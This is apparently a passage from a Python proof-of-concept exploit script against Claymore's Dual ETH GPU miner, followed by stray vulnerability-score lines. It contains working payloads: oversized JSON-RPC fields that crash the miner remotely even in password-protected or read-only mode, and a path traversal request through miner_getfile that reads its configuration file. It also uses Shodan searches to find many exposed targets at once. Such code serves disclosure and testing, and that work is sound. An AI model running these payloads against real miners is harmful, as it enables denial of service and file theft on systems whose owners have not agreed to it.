except ImportError:
    print "!! cannot import shodan. no shodan support!"
    shodan = None
 
LOGGER = logging.getLogger(__name__)
 
class MinerRpc(object):
    """
    Generic MinerRpc class with socks support
    """
 
    def __init__(self):
        self.sock = None
 
    def connect(self, host, port, proxy=None, timeout=15):
        if socks:
            self.sock = socks.socksocket()
        else:
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(timeout)
        if proxy:
            if not socks:
                raise Exception("socks support disabled due to unmet dependency. please install pysocks")
            self.sock.set_proxy(*proxy)
        return self.sock.connect((host, port))
 
    def sendRcv(self, msg, chunksize=4096):
        self.sock.sendall(msg)
        chunks = []
        chunk = None
        #time.sleep(2)
        while chunk is None or len(chunk)==chunksize:
            chunk = self.sock.recv(chunksize)
            chunks.append(chunk)
        return "".join(chunks)
 
    def sendRcvTimed(self, msg, chunksize=1):
        self.sock.sendall(msg)
        start = time.time()
        resp = self.sock.recv(chunksize)
        diff = time.time()-start
        return diff, resp
 
 
class Utils:
    """
    Utility namespace
    """
 
    @staticmethod
    def iter_targets(targets, shodan_apikey):
        shodan_api = None
        if not shodan:
            LOGGER.warning(
                "[i] starting without shodan support. please pip install shodan to use shodan search strings.")
        else:
            if not shodan_apikey:
                LOGGER.warning("shodan apikey missing! shodan support disabled.")
            else:
                shodan_api = shodan.Shodan(shodan_apikey)
 
        for target in targets:
            if target.startswith("shodan://"):
                target = target.replace("shodan://", "")
                if shodan_api:
                    for t in shodan_api.search(target)['matches']:
                        yield t['ip_str'], t['port']
            else:
                host,port = target.strip().split(":")
                yield host,int(port)
 
 
VECTORS = {
    # Vector: extrafield
    # Description: overly long value for field. overly long overall msg
    # Result: crashes always, even though
    #   * password required
    #   * readonly mode (-<port>)
    "extrafield" : {"id": 1,
                     "jsonrpc": "2.0",
                     "lol": "a" * 145000,  ##<<--
                     "method": "miner_getstat1 ", },
    # Vector: psw (basically same as extrafield)
    # Description: overly long value for psw. overly long overall msg
    # Result: crashes always, even though
    #   * password required
    #   * readonly mode (-<port>)
    "psw" : { "id": 1,
              "psw":"d"*145000,  ##<<--
              "jsonrpc": "2.0",
              "method": "miner_getstat1", },
    # Vector: method
    # Description: overly long value for field. overly long overall msg
    # Result: crashes always, even though
    #   * readonly mode (-<port>)
    "method" : {"id": 1,
                     "jsonrpc": "2.0",
                     "method": "miner_getstat1 " + "a" * (16384 - 50 - 15 - 5), },  ##<<--
    # Vector: traversal
    # Description: path traversal
    # Result: retrieves any file
    "traversal": {"id":0,
             "jsonrpc":"2.0",
             "method":"miner_getfile",
             "params":["../Claymore.s.Dual.Ethereum.Decred_Siacoin_Lbry_Pascal.AMD.NVIDIA.GPU.Miner.v10.0/config.txt"]}, ##<<-- adjust path
 
 
}
 
if __name__ == "__main__":
    logging.basicConfig(format='[%(filename)s - %(funcName)20s() ][%(levelname)8s] %(message)s',
                        loglevel=logging.DEBUG)
    LOGGER.setLevel(logging.DEBUG)
 
    usage = """poc.py [options]
 
                  example: poc.py [options] <target> [<target>, ...]
 
                  options:
                           apikey       ... optional shodan apikey
                           vector       ... method ... overflow in method, requires password if set [readonly]
                                            extrafield  ... overflow in non-standard field [readonly, passwd mode]
                                            psw ... overflow in password
                                            traversal ... relative path traversal [authenticated]
 
                  target   ... IP, FQDN or shodan://<search string>
 
                           #> poc.py 1.1.1.1
                           #> poc.py 1.2.3.4 "shodan://product:eth+result"
               """
 
    parser = argparse.ArgumentParser(usage=usage)
    parser.add_argument("-a", "--apikey",
                        dest="apikey", default=None,
                        help="shodan.io apikey, NotSet=disabled [default: None]")
    parser.add_argument("-m", "--vector",
                        dest="vector", default="method",
                        help="vulnerablevectors [default: method]")
    parser.add_argument("targets", nargs="+")
 
    options = parser.parse_args()
    LOGGER.info("--start--")
    LOGGER.info("# Claymore's Dual ETH + DCR/SC/LBC/PASC GPU Miner - Remote Buffer Overwrite")
    LOGGER.info("# github.com/tintinweb")
    m = MinerRpc()
 
    for ip, port in Utils.iter_targets(options.targets, options.apikey):
        LOGGER.info("[i] Target: %s:%s"%(ip, port))
 
        try:
            m.connect(ip, port, timeout=20)
            LOGGER.info("[+] connected.")
 
            resp = m.sendRcv(json.dumps(VECTORS[options.vector]))  # crash with readonly mode
 
            LOGGER.debug("<-- %d %r"%(len(resp), resp))
            if not len(resp):
                LOGGER.info("[+] did not receive a response. probably vulnerable.")
        except socket.error, e:
            if e[0]==10054:
                LOGGER.info("[+] peer disappeared. vulnerable!")
            LOGGER.warning(repr(e))
 
    LOGGER.info("--done--")
                              

0.1 Low

EPSS

Percentile

94.9%